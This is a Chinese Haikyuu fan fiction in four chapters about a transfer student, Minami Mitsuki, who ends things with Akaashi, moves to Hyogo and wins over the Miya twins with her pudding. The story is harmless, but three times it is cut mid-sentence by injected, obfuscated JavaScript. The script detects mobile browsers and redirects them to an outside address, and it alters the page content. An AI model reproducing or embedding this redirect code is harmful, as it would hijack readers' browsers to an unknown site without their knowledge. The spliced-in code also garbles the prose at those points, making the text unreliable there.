《【排球少年】今天吃什么?》 1. 桂圆汤 搬家这种事情,第一次的时候会觉得很失落,很难过,很茫然。 但是对于从小到大搬过无数次家的南见月来说,只是一个很熟悉的模板化流程。 从一个城市到另一个城市,从一个国家到另一个国家。 这个需要带走,那个可以考虑一下,另外这些可以留下,那些直接扔掉。 就这样。 “……其他的你不用担心,你祖父母会派人来接你。” “嗯。” “学习怎么样?” “还可以。” “生活费够花吗?” “够。” 电话那边的声音终于传来了一丝波澜,那个中年男人终于表露出一丝微薄的愧疚,“抱歉,月。” 但南见月的神色丝毫未变,她忙着煮桂圆汤,连进行“安慰”时的语气也轻缓的像是敷衍,“没关系。” “我以后应该很少回东京,你在杜中学也插班读了一年了,交流上应该没问题的。兵库至少还有你的祖父母在,他们一定会好好照顾你的……” 南见月继续慢条斯理地放下搅动的勺子,白净的砂锅盛着润黄的甜汤,风干后的桂圆肉在热水的浸润下恢复了丰盈,皱皱巴巴的干红枣也变得圆润饱满。 她加的是自己带过来的冰糖,香甜的气息扑面而来。 直到电话里又传来他的叹气声,她才拿起随便放在桌上的手机,“没事的,我理解的。” 挂断电话,还没来得及放下手机,就有一条新的信息发了过来。 【已经确定去枭谷了,今天去参观了排球馆和教学楼。】 南见月的脸上终于浮现出了一分真心实意的笑意,她点开输入框,郑重的输入了消息。 【恭喜,祝高中生活一切顺利。】 消息很快便显示了已读。 但下一条消息很快随之而来。 【是我有什么地方做得不对吗?】 南见月皱了皱眉。 —— 和赤苇京治的初相识,是来到东京的第二个月,地点是在补习班。 那时的南见月刚来东京,因为语言上的原因,数学反而成为了她优势最明显的科目,但是为了补上与国内学习所不同的部分,她还是去上了补习班。 分学习小组的时候,补习班的老师有些苦恼,虽然她非常看好南见月,但学习小组的目的就是为了让大家能够通过交流解决困难共同进步,但南见月…… 这时候她看见了因为社团稍晚了一些进教室的赤苇京治,眼睛一亮。 接到了老师的委托,赤苇京治看向坐在第一排的女孩儿。 黑发乖顺地拢在耳后,柔顺光亮。皮肤如瓷器一般细腻润白,纤长的睫毛搭在下眼睑上,下半张脸陷入柔软的衣领里,只能看到弧线流畅的侧脸。 “你好,我是赤苇京治,藤井老师……学习小组,我们以后……请多多关照。” 他的语速不算快,但对于南见月来说仍是过于高级的表达,她只听懂了这几个简单的词汇。 “是……阿卡西?抱歉,我学习日语的时间不太长,刚刚没太听懂。” 大概是因为经常使用,所以这句话十分流畅。 “是Akaashi。” 她语气中的无奈他听得一清二楚,干脆从包里拿出自己的练习册,指着自己的名字纠正她的读音。 “Akaashi,keiji。” 南见月跟着他重复了两遍,又看了看练习册上清秀好看的字迹。 “赤苇,京治。” 声线干净,句末还带着犹豫的上挑尾音,就这样字正腔圆地念出了他的名字。 赤苇京治笑了笑,对上了南见月认真看着他的眼睛。 那实在是一双很漂亮的眼睛,睫毛纤长浓密,窗外打进来的阳光落进那双琥珀色的瞳孔里,亮的几乎要灼伤人。 补习班的座位是不固定的,南见月也只是因为每天踩点到所以习惯性的坐在第一排的空位上。 赤苇京治坐在她左手边的空位上,把练习册放在桌上,如往常一样,端坐着等待上课。 藤井老师细心负责,讲题时思路清晰,虽然有些词句还不太能听懂。 但看着板书的演算,也基本能够听懂个七七八八。尽管如此,为了防止掉队,南见月还是全神贯注地认真听讲。 而坐在一旁的赤苇京治,在发觉自己第三次不自觉地将视线的余光投向右侧的时候,他轻轻地叹了口气。 恰逢讲题的间隙,她发现了旁边这位友善的同学有些烦恼的神情,目光落在他空白的练习册上。 看来赤苇同学的数学不太好呢。 南见月想。 南见月就这样和赤苇京治组成了学习小组。 所幸对方的数学并没有她预想地那般糟糕,基本知识扎实,思维灵活,基本是一点既透。 除了这些,赤苇京治还很有礼貌。 与其他人对她这样的异国转学生好奇到甚至有些冒犯的态度不一样,赤苇京治和她沟通时会耐心地降低语速,认真纠正她在语法和发音上的错误,甚至交谈时的一些本地俗语,都会尽量使用简单的词句,引经据典地为她解释。 赤苇京治是南见月在东京交到的第二个朋友。 他是个很好的人。 这个结论是南见月经过对他进行了一段相当长时间的观察之后得出的。 做事一丝不苟,做题时永远不会发生两次同样的错误,做完练习永远会细心处理好橡皮擦屑,如果遇到突发事件也永远冷静沉着地处理。 比如那时候补习班里有一个女孩突然流了鼻血,更意外地是她旁边的一个男生晕血,眼睛一瞟就翻着白眼往地面栽去。 咚的一声,桌上的书本也被他带倒,哗啦啦地盖在了他身上。 赤苇京治立即把人扶起来,老师也赶快从讲台上下来查看情况。 南见月从包里掏出纸巾递给流着鼻血的女孩子,确认她没问题之后走了过去, “不要围过来,通风,可以喝点水,给他。” 南见月用尽量简单的词汇表达自己的意思,赤苇京治点了点头,麻烦老师开一下窗户,又让他的朋友去打点水。 他自己则将人扶到座位上坐好,又仔细观察了一下这位晕血君的脸色。 只是晕血而已,不消几分钟,这位同学就悠悠转醒,那个女孩子的鼻血也止住了,课堂又恢复了原样。 甚至滴在地板上的几滴血渍都已经被赤苇清理干净了。 南见月又坐回了座位,不过赤苇京治却走了过来,他从自己的口袋里拿出湿纸巾递给她和那位流鼻血的同学。 “?” 对上她疑惑的目光,赤苇京治指了指她右手边的袖口。 棉质衬衫的洁白袖口沾染了两滴血渍,但因为位置偏下,连她自己都没注意到。 “谢谢赤苇同学。” 赤苇京治听着她念着自己的名字,流畅自然,发音标准圆润,微微上扬了嘴角。 南见月对赤苇京治的印象更好了些。 又熟了些之后,她知道赤苇京治其实最擅长的科目是语文,他还非常喜欢文学,但现在所在的社团是排球部。 排球? 不算久远的记忆里,那个人敞开的包里,似乎也装着一个黄蓝配色的排球。 是一项对她而言很陌生的运动。 赤苇京治还说今天下午在市体育馆有高中的排球比赛。 南见月愣了一会,问道:“排球比赛,我可以去看吗?” 补习班的课程结束,南见月和赤苇京治一起去了市体育馆。 场馆很大,下方场内的地板光滑得几乎可以照映人影,比赛已经开始了,一颗黄蓝配色的排球飞跃离开场地,砸向了观众席的栏杆,发出了巨大的碰撞声。 “看起来是一项很危险的运动。” 南见月在心里默默道。 赤苇京治笑了笑,带着她找了一个安全的地方看比赛。 他尽量简单地给南见月讲解了一下排球的规则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246705|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“排球,以球场中心的球网为界,两支队伍进行比赛,球不能落地,也不能持球,是用三次触球来连续攻击的球类竞技运动。” 南见月点了点头,听得很认真,讲到位置的时候,赤苇京治指了指被换上场的那名12号球员,道:“这位选手大概率就是主攻手,看起来很有王牌的气势啊。” 听到了熟悉的词,南见月问道:“王牌?” 赤苇京治看着场内,道:“那是一只球队的气势的象征,带领球队所向披靡的灵魂人物。” 他的语速仍然保持在让南见月能听懂的缓慢,她仔细记下了这句话。 原来那个人就是想要成为这样的人吗? 场上的那位枭谷的12号上场之后就立即展现出了令人惊叹的气势,他有着一头奇异的黑白色头发,每一根发丝都桀骜地向上竖起,身材矫健壮硕,连气质都昂扬积极得让人觉得有些刺眼。 高大的身影凌空跃起,停滞于空中的一瞬间,手臂下落,扣下的球发出刺耳的破空声,狠狠砸向地面。 南见月和赤苇京治都瞪大了眼睛。 枭谷的横幅在对面观众席上,在此时成为了这位球员的背景,也是此时此刻的最佳写照。 【一球入魂】 这就是排球,这就是王牌。 原来如此。 她转头,却看见赤苇京治脸上显露出难得一见的怔愣表情,却仍目不转睛地盯着那位刚刚扣球得分的12号。 比赛接近尾声,南见月跟赤苇京治说了一声,离开了观众席去买水。 外面的过道里就摆放着一台自动贩卖机,南见月从出货口拿出了一瓶苏打水,半靠在墙上拧开盖子喝了一口。 比赛应该是快结束了,一波波的人群结伴离开。 有些是做休闲打扮的成年人,也有穿着校服和运动服的学生。 他们还时不时地讨论着。 “那个枭谷的12号,听说是一年级啊。” “不是吧,看起来可一点也不像一年级啊!” “我知道他,他是丑三中学毕业的木兔,国中联赛的时候就很有名了!” “诶诶,好厉害呐。” “哈哈哈哈,等我再练练,肯定比那个木兔还要厉害。” 南见月没抬头,却也默默听着。 喝完了苏打水,她环顾自周,准备找个垃圾桶扔掉瓶子,却看见了一道有些熟悉的背影。 但很快又被出馆的人潮淹没,仿佛只是个错觉。 但南见月就是有预感,就是他。 只是还没来得及等她跟上去,赤苇京治的声音就在身后响起。 “南同学?我们走吧,我送你回去。” 南见月掐了掐手心,迎上赤苇温和的目光,点了点头。 “嗯,走吧。” 在毕业前两个月,赤苇京治向她表白了。 那天是很普通的一天,补习班更改为上晚课之后,他便和以前一样顺路送她回家。 他给她分享自己新读的书,语调柔软又温和。 说到书里一个被作者形容像是野草一样的人物时,南见月突然道:“赤苇同学名字里的‘苇’,在我的国家的诗词里,象征着坚韧不拔的品质,会以此来比喻和赞颂勇敢追求自己想要的那类人。” “赤苇同学也是这样的人。” 赤苇京治先是怔愣,反应过来又笑了笑。 他经常笑,但是鲜少露出这般开怀的笑容。 在他们分别的路口,赤苇京治却叫住了她。 即将成为高中生的少年,一言一行都带着在同龄人中脱颖而出的成熟,但明亮的月光却不愿意维护他努力装作平静的表象。 南见月清晰地看见他不自觉握紧的拳头,抿紧的嘴唇,以及那双带着期待和紧张的绿色眼睛。 “见月,我……我喜欢你,请和我交往。” 考虑了一天之后,南见月答应了赤苇京治交往的请求。 他们的恋情持续了五十一天,在三月的第一天宣告分手。 2. 香草焦糖布丁 在离开东京的前一天,南见月还是答应了赤苇京治出来见一面。 南见月在出门前收到了赤苇京治的信息。 【今天是阴天,多穿一件外套,别着凉了。】 推开窗感受了一下温度,南见月决定去换一件稍厚些的格子外套。 日本的四季很分明,三月初已经开始回暖,但仍然要注意保暖。 上午九点。 赤苇京治提着纸袋站在路口,他穿了一件浅驼的毛衣,针织的纹路显得人很柔和。微微垂这头,微卷的发梢在风中摇晃,看起来很好摸的样子。 南见月在街对面朝他挥了挥手,赤苇京治几不可见地笑了笑,快步往她这边走来。 风很大,看着整张脸都恨不得缩进衣领,面色发白的少女,赤苇京治用比她高大得多的身形挡住了风,又从纸袋里拿出热可可,掀开盖子递到了她嘴边。 南见月看了他一眼,赤苇京治面色如常,仿佛他们还是亲密的恋人,于是她便从善如流地就着他的手喝了一口。 糖度和温度都很合适,温热醇香的液体从喉咙流进胃部,南见月因为起床气和冷天气产生的坏心情终于缓和几分。 今天不算是约会,她也没有做什么规划,等到她慢慢地喝完大半杯热可可,又吃了一块他递过来的巧克力,这才抬头看他,“我不想喝了,京治,我们去哪里?” 赤苇京治道:“我想去看看新刊,见月陪我去吧。” “嗯。” 他将纸杯收回,自然地喝完她剩下的小半杯热可可,将纸杯装进袋子后与她肩并肩走向不远处的车站。 上了电车,南见月本来被风吹得清醒了些的脑袋又开始困意上涌,赤苇京治扶着她的侧脸把她的头靠在自己的肩膀上。 看着闭着眼睛的南见月,感受着肩膀处令人安心的重量,赤苇京治终于露出了一抹明显的温柔笑意。 等到南见月被叫醒,她揉了揉眼睛,拉着赤苇京治的衣角跟着他下车。 看了看周围,南见月有些疑惑地问道:“你平时不是在这里买书吧。” 赤苇京治拉住她的手,道:“不小心坐过站了。” 南见月微翻了个白眼,与其相信赤苇粗心坐过站,不如相信她今天晚上一发抽出SSR卡。 他的手也是一如既往的很暖和,大概玩体育的男生都这样?不过此时也没有比较对象。 南见月想抽出来,但赤苇京治稍稍用了些力握住没抽动,那双绿宝石一样的眼睛里适时流露出恳求的神色。 叹了口气,南见月不再挣扎,任由他牵着手带着她往前走去。 这是一家陌生的书店,几乎已经接近墨田区了,离她家和学校都很远,南见月只来过一次。 不过那次的经历狼狈又奇妙就是了。 赤苇京治敏锐地察觉到她的情绪值似乎往积极的方向偏移了一点。 这家店与其说是书店,不如说更像是提供书籍和桌游的休闲吧。 赤苇京治挑了一本看起来就很晦涩的文学作品,南见月随便拿了一本漫画,两人找到了一个用帘子与大厅隔开的小单间。 小单间不算大,放下沙发和书桌之外便只留下了转身的余量,灯具是柔和的散射灯,亮度也是能够看清书本但又不算太亮的程度。 此时是上午十点,店里几乎没人,十分安静。 静的她甚至能够听清身边人的呼吸声。 赤苇京治翻了两页又放下书,捞起将半个身子都靠在沙发上看漫画的南见月,道:“这样看会斜视的。” 南见月任由他把她的坐姿扶正,懒懒地靠在他肩头。 该说不愧是打排球的体育生吗,赤苇的身材很好,上臂的肌肉在休息时很柔软,靠起来很舒服。 “赤苇,我们分手了。” 自从交往之后,南见月一直是叫他的名字,几乎是akaashi的发音一出来,他就开始慌了。 赤苇京治想要去触摸她脸侧的手指在半空中僵住,过了一小会儿,他咽了咽口水,但仍然发出带着一丝艰涩的声音,“可以不分手吗?” 南见月摇了摇头。 “不可以喔。” 她虽然没有抵抗今天以来他所有刻意的亲密,却不会像之前一样主动牵上他的手,也没有吻上他的脸颊,更不会用笑意盈盈的眼神看着他。 赤苇京治把抽走的漫画还给她,语气带着些急切,“是不是我管你太多了?如果你觉得我哪里做的不好的话,我,我可以……” 他看着少女琥珀色的眼睛开始变冷,心也有些发冷。 南见月摸了摸他的脸,道:“我知道你是在关心我,京治,你几乎是一个完美的恋人。” 赤苇京治更加不解,他不自觉地皱起眉头,目光失落又难过。 南见月用一种比他更不解的语气说道:“其实我很奇怪,京治你总是在自己身上找原因呢?” “嗯……果然是因为太喜欢我了吧,但是我们还是要分手喔。” 她说这话的时候是笑着的,但眼睛里却是一片清明,赤苇京治还想说什么,却被她打断了。 “看完这本漫画,我就要回去了。” 行李还没收拾完呢,不过这个就不需要告诉前男友了。 她享受了这段时间以来,赤苇京治独属于她的热烈和真挚,度过了非常高兴的一段时间。 但南见月从来不觉得有什么东西是不可以失去的。 决定分手的时候当然会有难过,但是南见月觉得自己的情绪就像存留在容器里的某种流体物质,只是在倒出来的时候会感觉到刺痛,下定决心将所有的尽数剥离后,情绪又被密封起来,像是真正的固体一样不容动摇。 赤苇京治咽下了想了很久的挽回话语,他知道她决定的事情已经没有转圜的余地,多次挽留只会让她反感,需要从长计议。 来日方长。 尽管这么安慰自己,但他仍然有一种对未知的不安感。 —— 初来兵库,南见月觉得祖母家附近的小公园是个写生的好去处。 稻荷崎的入学面试,祖母建议她可以带一些作品去,于是南见月干脆一连几天背着画具来到这里。 她总是习惯带一些点心,用以补充体力。 昨天是清香粉糯的芋泥饼,前天是香甜浓郁的曲奇饼干,大前天是晶莹剔透的水信玄饼…… 大风吹过,被花瓣劈头盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246706|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸砸懵了的南见月一抬头就看见了可怕的景象。 自己辛辛苦苦画了一下午的画纸被夹杂着叶片的大风裹挟着,即将落入泛起涟漪的溪面。 那是这几天来她最满意的一幅! 在她惊恐的视线中,一只骨节分明的大手准确地抓住了单薄的纸张。 那是个深色头发,身材高大的男生。 他似乎仔细端详了一下纸张上的画作,抬头与她对视,眉毛一挑,道:“画的还挺漂亮的。” 南见月不置可否,朝他伸出了手。 男生把画纸交还给了她。 手指修长,手掌宽大,短袖T恤让他手臂上漂亮的肌肉线条展露无遗。 长得也很好看,眉毛很浓,眼睛很大,貌似还有些眼皮肌无力。 总之,就外貌而言,他很符合南见月的审美。 “谢谢你,这是谢礼。” 宫治愣愣接过,还没说什么,却见她已经收拾好了画具转身离开。 他坐在溪边樱树下的长椅,打开了饭盒。 里面用塑料杯装了两个可爱的布丁。 金黄的色泽,细腻的质感,顶部的焦糖液莹润闪亮,还未入口就让宫治看直了眼睛。 他揭开盖子,细细品尝。 是他想象中的柔滑口感,牛奶和鸡蛋是这道甜品的主角,只需要用舌尖轻轻一碾,醇厚的奶香和鸡蛋香、馥郁的香草味就争先恐后地占据感官。 焦糖液带着苦香,与布丁的甜香交融在一起,回味无穷。 花瓣落在他的发丝和肩膀上,宫治没管,只是抿着唇,一边回味着口中美妙滋味的余韵,一边眼带不舍地看着饭盒里最后一个孤零零的布丁。 下定了决心,他重新扣好了饭盒。 果然还是带回家,作为晚饭后的甜点和辛苦训练了一天的奖励吧。 他的设想很美好,可惜家里有一个混蛋。 “南?” 宫侑疑惑地看着被藏在冰箱里最角落的小饭盒。 宫治那家伙,从晚饭的时候就盯着冰箱,实在是让人很在意。 奶黄色的饭盒上面没有图案和品牌名,只在盒盖的右上方贴了一个可爱的贴纸,贴纸上还用汉字写了一个“南”字。 卡扣的地方有一个小小的裂纹,但仍能够正常使用。 “我倒要看看是怎么回事。” 宫侑掀开了盒盖。 “是布丁!” 兄弟的布丁就是自己的布丁,宫侑甚至没顾得上去拿勺子,直接幸福地嗷呜一口倒入口中。 “好吃吗?” “……好好吃!诶!” “砰!” “你是猪吗,这是第几次偷吃我的布丁了?” 宫侑看着宫治恐怖的神情咽了咽口水,但口中仿佛还残留着刚刚囫囵吞下的焦糖布丁丝滑的口感。 他冒着可能还会被宫治揍一顿的危险追问道:“阿治,在哪里买的布丁,好好吃!” 宫治瞪着他,发现这个混蛋仍然毫无悔改之意,他的拳头越捏越紧。 不过最终,他还是想起了自己要与人为善的信条,臭着脸一把抢过饭盒,“……不是买的,应该也吃不到了。” 3. 香草焦糖布丁(后记) 四月。 稻荷崎高等学校,位于兵库县,社团活动非常兴盛。有许多实力很强的运动社团,但管乐社最有名。 今天是新生正式入学的第一天。 人好多。 南见月的间歇性厌人症又开始发作了。 她按照分班表找到了自己的班级,没有座位表,看来大概率是自己选择了。 不过这次她没有踩点到,可选择的座位还是挺多的。 南见月讨厌窗边的座位,因为夏天总是很晒,但她喜欢从窗口吹进来的微风。 看了看,她坐在了靠窗的第二列靠后的位置。 南见月无心社交,干脆掏出手机打发时间。 收件箱有未读消息,南见月点开看,是妈妈发来的信息。 【见月,入学快乐,妈妈给你寄了礼物,祝你在日本的高中生活一切顺利。】 南见月的父母是实实在在相爱过的,不然她的父亲也不会为了她的母亲放弃日本的家业,带着满腔爱意和勇气去中国与她结婚。 虽然如此,如此无畏的爱情也没有撑过时间浪潮的一次次拍打,从上初中开始,父母双方的事业蒸蒸日上,这段跨国婚姻却逐渐产生裂痕,直至濒临破裂。 在财产分割清楚之后,两人于2009年离婚。 父亲回了日本,母亲远赴意大利。 回复了母亲之后,南见月也失去了玩手机的兴致。 教室门在此刻打开,两个男生也走了进来。 不巧,其中一个她好像是认识的。 不过,对方居然在几天之内把头发染成了亮眼的金黄色,刘海也从往右斜分变成了往左斜分。 浓眉大眼,脸上兴奋的表情还没收起,笑得很像一只在耍坏心眼的狐狸。 还是帅的,但总觉得和之前不太一样。 因为南见月看见许多人都把视线投了过去,其中女生占大多数。 宫侑一直非常坚定的认为自己就是二传手里最帅的,所以从小就觉得大家的目光落在他身上是一件理所应当的事情。 他也很少注意这些目光的发出者,不过今天,他一眼就看见了那个黑发女生。 她撑着下巴,皮肤很白,指尖透着淡淡的粉,目光直直地望过来,即便是撞上他也不带丝毫躲闪,琥珀色的眼睛像是甜蜜的湖。 宫侑眼睛一下子就亮了。 不过在他身后进来的老师也踏上讲台,“大家先安静一下,到了的同学先找个座位坐好。” 南见月也收回了目光,不过她注意到了宫侑果然坐在了她后面的位置上。 老师是一个笑眯眯的中年男老师,他先是环视了一圈教室,确认学生人数之后便拿起粉笔,在黑板上写下了自己的名字。 “大家好,我是佐藤进,教授的科目是国文。” 南见月松了一口气,这位老师虽然仍是关西腔,但却比身后这个帮她捡到画纸的男生好上很多,起码是她能轻松听清的程度。 学生们一个个自我介绍,崩溃的是需要去讲台上,还需要写下自己的名字。 大多数应该都是本地直升的学生,从口音就可以很轻松地判断出来。 前面的十几位同学全部都是一口极有特色的关西腔。 到了南见月,她上到讲台,拿起粉笔在黑板上写下了自己的名字。 【南見月】 与一黑板只能称得上端正,用日本汉字写的名字相比,南见月的字可以说是鹤立鸡群。 上小学的时候,因为父母都很忙,所以南见月基本都在兴趣班度过,她曾经练过六年的书法。 笔画圆润,结构秀美,同学们被小小的震撼了一下。 自我介绍的时候,因为毕竟不是母语,南见月的语速比之前面几位都要更慢,“我是南见月,毕业于东京的杜中学,爱好是玩游戏和看漫画,很高兴来到稻荷崎,希望以后请大家多多关照。” 是非常模板化的自我介绍,不过大家的掌声依旧非常热烈。 宫侑看着她写在黑板上的姓氏,南? 不会吧。 自我介绍轮到他了,他站起身,与回到座位的南见月擦肩而过。 他没有写名字在黑板上。 “我是宫侑,野狐中学的,目标是成为世界级的二传手……” 二传手? 南见月想起赤苇京治也是二传手,面前这位,Miya Atsumu,看来是是风格不太一样的二传吗,不过二传手都这么符合她的审美吗? 突然对排球这项运动更感兴趣了。 宫侑走下讲台的时候特意昂首挺胸,视线笔直投向前方,余光却见她只顾着看黑板。 他鼓起脸颊,有些不服气。 哼! 为什么不看他了。 第一节课是班会课,但其实佐藤老师介绍完学校之后就是大家自由活动和互相认识的时间了。 南见月顶着背上灼热的视线,和前桌的女孩儿说了会话。 前桌留着短发,脸上有浅浅的雀斑,是一位笑起来非常阳光可爱的女孩子,她叫桃濑雪菜,略带羡慕地说她的字写的很好。 南见月对她印象很好,简单聊了两句也还挺聊得来的。 等到快要下课,桃濑转身和另外一个女生讲话的时候,南见月感觉自己的后背被什么东西轻轻戳了下。 宫侑的声音从后面传来,“南?” “嗯?” 宫侑见她转头,噼里啪啦地说了一大堆话,南见月有些头疼,她只听清了“布丁”和“饭盒”,只得试探性地回答道:“布丁怎么样?那天谢谢你帮我捡到画纸。” 果然是她! 宫侑得意的笑了笑,他就知道,这就是奇妙而不可言说的缘分。 原来是这样。 虽然那天她遇到的其实是还没染头发的宫治,不过没关系。 南见月挑了挑眉,虽说笑的挺可爱的,但总觉得蠢蠢的。 总感觉和那天的不是同一个人呢。 但应该不可能巧合到是遇到双胞胎了吧,这个几率实在太小了。 南见月心想。 宫侑似乎很兴奋,又叽里咕噜说了一大堆话,不过这次南见月听懂了大概。 大概是提了一下布丁很好吃,“救画恩人”想要多吃几个布丁…… 有些贪吃,直率,不吝啬夸奖,自来熟的程度令人发指。 不过还算可爱。 南见月点头应下,“明天我会带布丁给你,宫同学。” 宫侑连连点头。 因为是开学第一天,基本没有安排什么课程,几位主要课程的老师自我介绍了下,接下来就是自由活动时间。 几乎是一下课,宫侑就冲了出去,南见月则被桃濑雪菜拉着一起去看社团招新。 女生之间建立友谊很容易,投机的话题,一起去上个厕所,互相帮对方整理发带和领结,就这样自然而然。 桃濑雪菜是个自来熟的女孩,她挽着她的手臂,放慢语速给南见月说着自己国中时加入的田径部的趣事。 社团招新在足球场举行,稻荷崎的社团活动非常兴盛,放眼望去至少有几十个不同的小棚子,各种横幅和海报色彩鲜艳,还有穿着校服的高年级前辈到处派发小礼物和宣传。 “小南?你要参加什么社团啊?” 桃濑雪菜指着处于足球场中心,由四个枣红色的遮阳棚围着的摊位,“那是吹奏部诶!特别有名,我国中的时候看过他们去应援,超级有气势的,可惜我不会乐器。” 南见月也望了过去,不愧是有名的社团,被许多人围着,即便站在边缘都能听见小号嘹亮激昂的声音。 “确实很有气势,很有意思的样子。” 桃濑雪菜见她感兴趣,笑着道:“你会不会乐器啊,要不要去看看,不过听说他们的训练非常严格喔。” “倒是学过长笛,不过太忙的话还是算了吧。” 稻荷崎自然是鼓励学生多多参加社团活动的,还有学分奖励,但南见月不是很感兴趣。 从幼儿园到初中,南见月实在上过太多兴趣班,画画跳舞、各色声乐课、体育课…… 桃濑雪菜也同意,道:“毕竟高中学业压力更大,的确是轻松的社团更好呢。” 两人一起逛着各个摊位,桃濑看了一圈还是扶着额头去领了田径部的入部申请表。 她拿到入部届,转头看了看南见月,道:“小南,或许,你喜欢跑步吗?” 总觉得这句话莫名熟悉的南见月摇了摇头,她一直都信奉的准则就是非必要不运动。 桃濑雪菜叹了口气,道:“如果不喜欢运动的话,那你要不看看那些□□,听说读书会很清闲的,还有烹饪社……” 南见月点了点头,道:“那桃濑你先在这里吧,我去其他地方看看。” 填着信息的桃濑雪菜点点头,朝她挥了挥手。 足球场旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246707|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边是排球馆,门口也围了很多人。 南见月没有上前,却听见了前面人的讨论。 “……就是他们啊!” “谁啊?你倒是说清楚啊。” “就是那对宫兄弟啊。” “我知道我知道,排球界最强双胞胎嘛!” 南见月听到了零星的词语。 【Miya】——宫。 这是她那位“救画恩人”的姓氏。 【bareibouru】,【バレーボール】——排球。 【kyoudai】,应该是【きょうだい】——兄弟。 【tsuinzu】,是【ツインズ】——双胞胎。 “难怪……原来真的有双胞胎啊。” 南见月喃喃自语,摇了摇头止住脚步,转身离开。 既然是双胞胎,还会一起分享布丁,应该感情很好吧。 不过借着兄弟的名义“骗”布丁,是幼稚园小孩儿才会干的事吧。 —— 翌日。 宫侑越过宫治,飞快跑进教学楼。 慢悠悠换鞋的宫治无语地看着宫侑,跑这么快? 他们作为体育保送的学生,已经开始跟着排球部的成员开始早训了,也难得宫侑跑了五圈又做了三组力量训练还这么有活力。 宫治摸了摸肚子,叹了口气,“总感觉今天的饭团没吃饱啊。” 而一边,得意洋洋的宫侑借着走廊的玻璃整理了一下发型,慢慢地走进教室。 课桌边没人? 宫侑走进看了看,她的挎包挂在一旁,只是人没有在教室。 等一下好了。 十分钟后,眼看着教室前方的挂钟上的分钟越来越靠近“12”,宫侑等的有些不耐烦。 明明要上课了,怎么还没来。 他看了看正在预习的桃濑雪菜,问道:“那个,同学,你知道南见月去哪里了吗?” 桃濑雪菜抬起头,道:“哦,小南说她去一趟5班。” 那么5班有谁在哪呢? 时间回到十分钟前,教学楼另一边的一年级5班外的走廊上。 宫治打着哈欠准备进入班级,他决定等会午饭的时候把猪侑的饭团一起吃掉,谁叫那家伙偷吃了他的布丁。 正想着,耳边突然传来一道有些熟悉的声音。 “宫同学。” 他转头,露出一张熟悉的脸。 灰色头发,一模一样的面容,但表情却没有他的兄弟那样张扬,懒懒的抬眼望过来之后又惊讶地睁圆眼睛。 “是你?” 南见月点了点头,道:“嗯,是我。” 她把纸袋递给他,宫治下意识接过,又下意识往里面瞟了一眼,本来就大的眼睛睁的更大了。 “……布丁,五个布丁!” 南见月笑了笑,道:“我和另外一位宫同学是同班,听他说,我的‘救画恩人’很喜欢我做的布丁,所以我又做了些送给你。” 宫治咽了咽不自觉分泌出的口水,想要推辞的话一句也说不出来,他闻到一股甜香,说不清楚是布丁的味道还是来自于对面的女孩。 他只知道他好像开心到心脏都要跳出来了。 南见月和宫治顺利交换了联系方式,又聊了一会儿,见上课时间临近,她便回了教室。 到教室的时候老师还没来,南见月看见趴在桌上的宫侑笑了笑,她慢悠悠地回到座位坐好。 今天早上的第一节课是佐藤老师的国文,他站在讲台上扶了扶眼镜,疑惑地看着还趴在桌上的宫侑,问道:“那位黄色头发的男同学是身体不舒服吗?” 宫侑抬起头,先是看了一眼没回头的南见月,他扭过头,道:“没有。” “没有不舒服就好,那同学们,马上上课了喔!” 南见月转头从挂在桌侧的挎包里拿出课本,余光看见宫侑快速移开目光,她没忍住笑了笑。 宫侑的桌面很干净,他连笔都没拿出来一只,见南见月回来了也不打算跟他说话,连被戏弄的指责都没有。 他皱了皱眉,嘴角下拉,心里划过一丝说不清道不明的失落。 然而还没等他整理好思绪,就看见自己干净的桌面上出现了一盒布丁。 南见月收回手,刚好此时上课铃声响起,她从善如流地翻开教材,开始听课。 而宫侑则惊喜地捧起那盒布丁,刚刚还阴云密布的表情即刻放晴。 4. 清汤乌冬面 南见月的父亲出生在一个非常传统的日本家庭,按照南家的规划,他应该在中国深造完毕之后回家继承家业。 正因如此,他在尚未毕业时就做出留在中国与她的母亲结婚的这一决定,在当时的祖父母看来是一个非常不负责任和轻率的选择。 加之天高路远,之间种种误会和心结没有解开,南见月上初中之前,他们与祖父母的联系都非常少。 直到前几年,父亲和祖父母之间的关系才有所缓和。 只是父亲与祖父母的关系缓和,他与母亲的关系却日渐疏远。 正式办理离婚之后,南见月被判给了父亲,在东京的杜中学插班了一年之后,因为父亲的工作变动,她被送到了祖父母所在的兵库。 南氏家族在日本经营着一个颇有名气的餐饮连锁品牌,一家人都有着一手好厨艺,就连很早就离开日本在外求学的南见月父亲也不例外。 虽然他在学成后并没有顺从家族的意志,而是进入了金融行业。 他的生意越做越大,也越来越忙。 